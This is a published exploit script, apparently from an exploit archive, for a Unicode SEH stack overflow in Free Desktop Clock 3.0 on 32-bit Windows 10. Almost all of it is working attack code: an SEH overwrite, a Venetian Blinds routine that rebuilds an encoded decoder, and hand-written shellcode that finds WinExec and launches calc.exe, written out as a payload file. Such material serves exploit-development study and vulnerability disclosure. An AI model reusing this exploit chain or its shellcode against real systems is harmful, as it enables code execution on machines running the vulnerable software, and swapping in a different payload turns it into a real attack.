# Exploit Title: Free Desktop Clock x86 Venetian Blinds Zipper 3.0 - Unicode Stack Overflow (SEH) # Exploit Author: Bobby Cooke # Date: 2020-04-11 # Vendor: Drive Software Company # Vendor Site: http://www.drive-software.com # Software Download: http://www.drive-software.com/download/freeclock.exe # Tested On: Windows 10 - Pro 1909 (x86) & Home 1909 (x86) # - Does not work on x64 version # Version: Free Desktop Clock 3.0 # Recreate: Install & Open > Time Zones > 'Enter display name' textbox > paste buffer ############################### CRASH INFO ############################### # [!] Access violation # 042D15E7 8908 mov [eax], ecx ; FreeDesk.00440044 # SEH chain of main thread # Address SE handler # 0014EE24 FreeDesk.00410041 <- Structured Exception Handler Overwrite # 00410041 74737953 # 69620C00 *** CORRUPT ENTRY *** ############################### CRASH INFO ############################### File = 'poc.txt' ######################### EXPLOIT ENVIRONMENT INFO ######################### #badChars = '\x00\x0d\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8e' #badChars += '\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9e\x9f' #goodChars = '\x81\x8D\x8F\x90\x9D' (within 0x80-0x9f) # Base | Rebase | SafeSEH | ASLR | NXCompat | Modulename # 0x00400000 | False | False | False | False | [FreeDesktopClock.exe] # 0x042b0000 | True | False | False | False | [Clock.dll] ######################### EXPLOIT ENVIRONMENT INFO ######################### os_nSEH = '\x41'*(457) # Offset to nSEH Overwrite nSEH = '\xeb\x05' # jmp short +2 SEH = '\xeb\x43' # 0x004300eb: pop esi# pop ebx# ret [FreeDesktopClock.exe] # nSEH & SEH translated opcodes after Pop-Pop-Ret # EB 00 jmp short +2 # 05 00EB0043 add eax, 4300EB00 # GetPC to decode our decoder using Venetian Blinds technique getPC = '\x73' # add [ebx], dh # nop | [EBX] = writable memory getPC += '\x61' # popad # [ESP] = &Payload getPC += '\x72' # add [edx], dh # realigns execution for 1 byte opcodes ebx2eax = '\x58' # pop eax # EAX = &Payload ebx2eax += '\x72' # add [edx], dh # Use Venetian Blinds technique to fix our mangled decoder # + Using the Venetian Blinds Technique costs 14 bytes to fill 1 0x00 with 1 legit shellcode byte. # # Ajust EAX to &Decoder getDecoder = '\x05\x13\x11' # add eax, 0x11001300 # EAX + 512-bytes getDecoder += '\x72' # add [edx], dh getDecoder += '\x2D\x11\x11' # sub eax, 0x11001100 # EAX = &Decoder getDecoder += '\x72' # add [edx], dh getDecoder += '\x50' # push eax # [ESP] = &Decoder getDecoder += '\x72' # add [edx], dh ############################# ZIPPER DECODER ############################### # Set EAX = First non-null byte of shellcode # init: # 1 | 50 | push eax # EAX = &Shellcode # 2 | 5F | pop edi # EDI = Decoder Destination Base Address # 3 | 47 | inc edi # First 0x00 byte of shellcode # 4:5 | 33D2 | xor edx, edx # 6:7 | 33C9 | xor ecx, ecx # 8:11 | 66:B9 1004 | mov cx, 410 # ECX = Loop Counter # decodeLoop: # 12:13 | 33DB | xor ebx, ebx # 14 | 42 | inc edx # EDX+EAX = &SourceShellcodeByte # 15 | 42 | inc edx # increment to next non-null byte # 16:17 | 32DB | xor bl, bl # clear BL to hold next shellcode byte # 18:20 | 021C10 | add bl, [eax+edx] # BL = SourceShellcodeByte # 21:22 | 203F | and [edi], bh # [EDI] = SC-byte, clear with: AND 0x00 # 23:24 | 301F | xor [edi], bl # Write next byte of shellcode # 25 | 47 | inc edi # 26 | 49 | dec ecx # 27:28 | 74 02 | je short jmp2code # 29:30 | ^ EB ED | jmp short decodeLoop # jmp2code: # 31 | 50 | push eax # 32 | C3 | ret ################################################3########################### #DecoderHex = '505F4733D233C966B9100433DB424232DB021C10203F301F47497402EBED50C3' firstHalf = '\x50\x47\xD2\xC9\xB9\x04\xDB\x42\xDB\x1C\x20\x30\x47\x74\xEB\x50' #venBldHalf = '5F 33 33 66 10 33 42 32 02 10 3F 1F 49 02 ED C3' # 2 4 6 8 10 12 14 16 18 20 22 24 26 28 30 32 # Note: These nop unicode instructions are actually [reg+0x00] not [reg] # The [reg] version (0032) is 2 bytes. The [reg+0x00] version (007200) is 3 bytes # Use the 3 byte version for Venetian Blinds alignment # Example: # nasm > add [edx], dh # 00000000 0032 add [edx],dh # nasm > add [edx+00], dh # 00000000 0032 add [edx],dh # nasm > add [edx+01], dh # 00000000 007201 add [edx+0x1],dh # + This happens when typing in ASM commands into msf-nasm_shell and immunity ## 2nd byte - \x00 => \x5F venBlinds = '\x40' # inc eax // now eax points shellcode byte venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution venBlinds += '\xC6\x5F' # mov byte [eax], 0x50 venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution venBlinds += '\x40' # inc eax // now eax points shellcode byte venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution venBlinds += '\x40' # inc eax // now eax points to the next '\x00' venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution ## 4th byte - \x00 => \x33 venBlinds += '\xC6\x33' # mov byte [eax], 0x33 venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution venBlinds += '\x40' # inc eax // now eax points shellcode byte venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution venBlinds += '\x40' # inc eax // now eax points to the next '\x00' venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution ## 6th byte - \x00 => \x33 venBlinds += '\xC6\x33' # mov byte [eax], 0x33 venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution venBlinds += '\x40' # inc eax // now eax points shellcode byte venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution venBlinds += '\x40' # inc eax // now eax points to the next '\x00' venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution ## 8th byte - \x00 => \x66 venBlinds += '\xC6\x66' # mov byte [eax], 0x66 venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution venBlinds += '\x40' # inc eax // now eax points shellcode byte venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution venBlinds += '\x40' # inc eax // now eax points to the next '\x00' venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution ## 10th byte - \x00 => \x10 venBlinds += '\xC6\x10' # mov byte [eax], 0x10 venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution venBlinds += '\x40' # inc eax // now eax points shellcode byte venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution venBlinds += '\x40' # inc eax // now eax points to the next '\x00' venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution ## 12th byte - \x00 => \x33 venBlinds += '\xC6\x33' # mov byte [eax], 0x33 venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution venBlinds += '\x40' # inc eax // now eax points shellcode byte venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution venBlinds += '\x40' # inc eax // now eax points to the next '\x00' venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution ## 14th byte - \x00 => \x42 venBlinds += '\xC6\x42' # mov byte [eax], 0x42 venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution venBlinds += '\x40' # inc eax // now eax points shellcode byte venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution venBlinds += '\x40' # inc eax // now eax points to the next '\x00' venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution ## 16th byte - \x00 => \x32 venBlinds += '\xC6\x32' # mov byte [eax], 0x32 venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution venBlinds += '\x40' # inc eax // now eax points shellcode byte venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution venBlinds += '\x40' # inc eax // now eax points to the next '\x00' venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution ## 18th byte - \x00 => \x02 venBlinds += '\xC6\x02' # mov byte [eax], 0x02 venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution venBlinds += '\x40' # inc eax // now eax points shellcode byte venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution venBlinds += '\x40' # inc eax // now eax points to the next '\x00' venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution ## 20th byte - \x00 => \x10 venBlinds += '\xC6\x10' # mov byte [eax], 0x10 venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution venBlinds += '\x40' # inc eax // now eax points shellcode byte venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution venBlinds += '\x40' # inc eax // now eax points to the next '\x00' venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution ## 22nd byte - \x00 => \x3F venBlinds += '\xC6\x3F' # mov byte [eax], 0x3F venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution venBlinds += '\x40' # inc eax // now eax points shellcode byte venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution venBlinds += '\x40' # inc eax // now eax points to the next '\x00' venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution ## 24nd byte - \x00 => \x1F venBlinds += '\xC6\x1F' # mov byte [eax], 0x1F venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution venBlinds += '\x40' # inc eax // now eax points shellcode byte venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution venBlinds += '\x40' # inc eax // now eax points to the next '\x00' venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution ## 26th byte - \x00 => \x49 venBlinds += '\xC6\x49' # mov byte [eax], 0x49 venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution venBlinds += '\x40' # inc eax // now eax points shellcode byte venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution venBlinds += '\x40' # inc eax // now eax points to the next '\x00' venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution ## 28th byte - \x00 => \x02 venBlinds += '\xC6\x02' # mov byte [eax], 0x02 venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution venBlinds += '\x40' # inc eax // now eax points shellcode byte venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution venBlinds += '\x40' # inc eax // now eax points to the next '\x00' venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution ## 30th byte - \x00 => \xED venBlinds += '\xC6\xED' # mov byte [eax], 0xED venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution venBlinds += '\x40' # inc eax // now eax points shellcode byte venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution venBlinds += '\x40' # inc eax // now eax points to the next '\x00' venBlinds += '\x72' # add [edx], dh // nop to realign opcode execution ## 32nd byte - \x00 => \xC3 venBlinds += '\xC6\xC3' # mov byte [eax], 0xC3 venBlinds += '\x72' # add [edx], dh venBlinds += '\x40' # inc eax // now eax points shellcode byte venBlinds += '\x72' # add [edx], dh # Jump to the decoded decoder by Returning to the address we saved on the stack venBlinds += '\xC3' # ret [!] Now we are executing the decoder! os_decoder = '\x90'*((512/2)-len(nSEH+SEH+getPC+ebx2eax+getDecoder+venBlinds)) #badChars = 00 0d 80 82->8e 91->9f # Custom PopCalc shellcode that avoids the bad characters fKernel32 = '\x33\xF6' # xor esi, esi fKernel32 += '\xF7\xE6' # mul esi fKernel32 += '\x64\x03\x52\x30' # add edx, fs:[edx+30] # EBX = Address_of_PEB fKernel32 += '\x03\x42\x0C' # add eax, [edx+C] # EBX = Address_of_LDR fKernel32 += '\x03\x70\x1C' # add esi, [eax+1C] # ESI = 1st entry in InitOrderModuleList / ntdll.dll fKernel32 += '\xAD' # lodsd # EAX = 2nd entry in InitOrderModuleList / kernelbase.dll fKernel32 += '\x50' # push eax fKernel32 += '\x5E' # pop esi fKernel32 += '\xAD' # lodsd # EAX = 3rd entry in InitOrderModuleList / kernel32.dll fKernel32 += '\xFF\x70\x08' # push dword ptr [eax+8] # [ESP] = &kernel32 gExpotTbl = '\x33\xC9' # xor ecx, ecx gExpotTbl += '\x33\xF6' # xor esi, esi gExpotTbl += '\x33\xDB' # xor ebx, ebx gExpotTbl += '\xF7\xE3' # mul ebx gExpotTbl += '\x58' # pop eax # EAX = &kernel32 gExpotTbl += '\x50' # push eax # [ESP] = &kernel32 gExpotTbl += '\x03\x70\x3C' # add esi, [eax+0x3C] ; ESI = RVA NewEXEHeader gExpotTbl += '\x03\xF0' # add esi, eax ; ESI = &NewEXEHeader gExpotTbl += '\x03\x56\x78' # add edx, [esi+0x78] ; EDX = RVA ExportTable gExpotTbl += '\x03\xD0' # add edx, eax ; EDX = &ExportTable = 763477B0 gExpotTbl += '\x03\x5A\x20' # add ebx, [edx+0x20] ; EBX = RVA ExportNameTable gExpotTbl += '\x03\xD8' # add ebx, eax ; EBX = &ExportNameTable gExpotTbl += '\x03\x4A\x24' # add ecx, [edx+0x24] ; ECX = RVA ExportOrdinalTable gExpotTbl += '\x03\xC8' # add ecx, eax ; ECX = &ExportOrdinalTable gExpotTbl += '\x51' # push ecx gExpotTbl += '\x33\xFF' # xor edi, edi gExpotTbl += '\x03\x7A\x1C' # add edi, [edx+0x1C] ; EDI = RVA ExportAddrTable gExpotTbl += '\x03\xF8' # add edi, eax ; EDI = &ExportAddrTable gExpotTbl += '\x57' # push edi fWinExec = '\x68\x57\x69\x6E\x45' # push 0x456E6957 ; EniW fWinExec += '\x33\xC0' # xor eax, eax ; EAX = Counter fWinExec += '\x33\xF6' # xor esi, esi fWinExec += '\x03\xF4' # add esi, esp ; ESI = "WinE" fWinExec += '\xFC' # cld ; Process strings left to right fWinExec += '\x50' # push eax fWinExec += '\x33\xC9' # xor ecx, ecx fWinExec += '\x41' # inc ecx fWinExec += '\x41' # inc ecx fWinExec += '\x41' # inc ecx fWinExec += '\x41' # inc ecx fWinExec += '\xF7\xE1' # mul ecx fWinExec += '\x33\xFF' # xor edi, edi fWinExec += '\x03\x3C\x18' # add edi, [eax+ebx] fWinExec += '\x58' # pop eax fWinExec += '\x03\x7C\x24\x0C' # add edi, [esp+0xC] ; EDI = &NthNameString fWinExec += '\xF3\xA6' # repe cmpsb ; compare [&NthNameString] to "WinExec" fWinExec += '\x74\x03' # jz found ; If [&NthNameString] == "WinExec" end loop fWinExec += '\x40' # inc eax ; Counter ++ fWinExec += '\xEB\xE1' # jmp short searchLoop ; restart loop fWinExec += '\x33\xC9' # xor ecx, ecx fWinExec += '\x41' # inc ecx fWinExec += '\x41' # inc ecx fWinExec += '\xF7\xE1' # mul ecx fWinExec += '\x33\xC9' # xor ecx, ecx fWinExec += '\x03\x4C\x24\x08' # add ecx, [esp+0x8] ; ECX = &ExportOrdinalTable fWinExec += '\x03\xC8' # add ecx, eax fWinExec += '\x33\xC0' # xor eax, eax fWinExec += '\x66\x03\x01' # add ax, [ecx] ; AX = ordinalNumber fWinExec += '\x33\xC9' # xor ecx, ecx fWinExec += '\x41\x41\x41\x41' # inc ecx X 4 fWinExec += '\xF7\xE1' # mul ecx fWinExec += '\xFF\x74\x24\x04' # push dword [esp+0x4] fWinExec += '\x01\x04\x24' # add [esp], eax fWinExec += '\x5A' # pop edx fWinExec += '\x33\xDB' # xor ebx, ebx fWinExec += '\x03\x1A' # add ebx, [edx] ; EBX = RVA WinExec fWinExec += '\x03\x5C\x24\x0C' # add ebx, [esp+0xC] ; EBX = &WinExec # Call WinExec( CmdLine, ShowState ); # CmdLine = "calc.exe" # ShowState = 0x00000001 = SW_SHOWNORMAL - displays a window callWinExec = '\x33\xC9' # xor ecx, ecx ; clear eax register callWinExec += '\x51' # push ecx ; string terminator 0x00 for "calc.exe" string callWinExec += '\x68\x2E\x65\x78\x65' # push 0x6578652e ; exe. : 6578652e callWinExec += '\x68\x63\x61\x6C\x63' # push 0x636c6163 ; clac : 636c6163 callWinExec += '\x33\xC0' # xor eax, eax callWinExec += '\x03\xC4' # add eax, esp ; save pointer to "calc.exe" string in eax callWinExec += '\x41' # inc ecx ; uCmdShow SW_SHOWNORMAL = 0x00000001 callWinExec += '\x51' # push ecx ; uCmdShow - push 0x1 to stack # 2nd argument callWinExec += '\x50' # push eax ; lpcmdLine - push string address stack # 1st argument callWinExec += '\xFF\xD3' # call ebx ; Call the WinExec Function shellcode = fKernel32+gExpotTbl+fWinExec+callWinExec buffer = os_nSEH+nSEH+SEH+getPC+ebx2eax+getDecoder+venBlinds+os_decoder+firstHalf+shellcode filler = '\x77'*(9000-len(buffer)) buffer = buffer+filler try: payload = buffer f = open(File, 'w') f.write(payload) f.close() print File + " created successfully" except: print File + ' failed to create'